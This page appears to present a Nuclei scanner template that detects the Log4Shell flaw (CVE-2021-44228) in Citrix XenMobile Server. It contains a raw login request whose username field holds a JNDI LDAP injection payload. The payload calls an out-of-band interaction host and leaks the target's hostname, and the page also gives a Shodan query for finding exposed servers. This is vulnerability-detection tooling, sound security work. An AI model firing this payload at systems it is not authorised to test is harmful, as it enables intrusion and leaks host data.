Skip to content

Citrix XenMobile Server - Remote Code Execution (Apache Log4j)

ID: xenmobile-server-log4j

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2021,rce,jndi,log4j,xenmobile,oast

XenMobile Server is an on-premises enterprise mobility management solution and versions 10.14 RP2, 10.13 RP5 and 10.12 RP10 are vulnerable to CVE-2021-44228 (Apache Log4j). JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

id: xenmobile-server-log4j
info:
name: Citrix XenMobile Server - Remote Code Execution (Apache Log4j)
author: DhiyaneshDK
severity: critical
description: XenMobile Server is an on-premises enterprise mobility management solution and versions 10.14 RP2, 10.13 RP5 and 10.12 RP10 are vulnerable to CVE-2021-44228 (Apache Log4j). JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
reference:
- https://support.citrix.com/article/CTX335705/citrix-security-advisory-for-cve202144228-cve202145046-cve202145105-and-cve202144832
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-502
cpe: cpe:2.3:a:citrix:xenmobile_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"XenMobile"
product: xenmobile_server
vendor: citrix
tags: cve,cve2021,rce,jndi,log4j,xenmobile,oast
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
@timeout: 20s
POST /zdm/cxf/login HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{BaseURL}}
Referer: {{BaseURL}}/zdm/login_xdm_uc.jsp
login=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&password=admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<h1>500 Server Internal Error'
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402207fc920edff5b013d80472c23f0baf57d42def3e0233a7a15a49ccc585aad5c6a02201fc05d5721820a2a39693511be36c2333eb581ae6c20a46338d838fc850509c5:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/xenmobile-server-log4j.yaml"

View on Github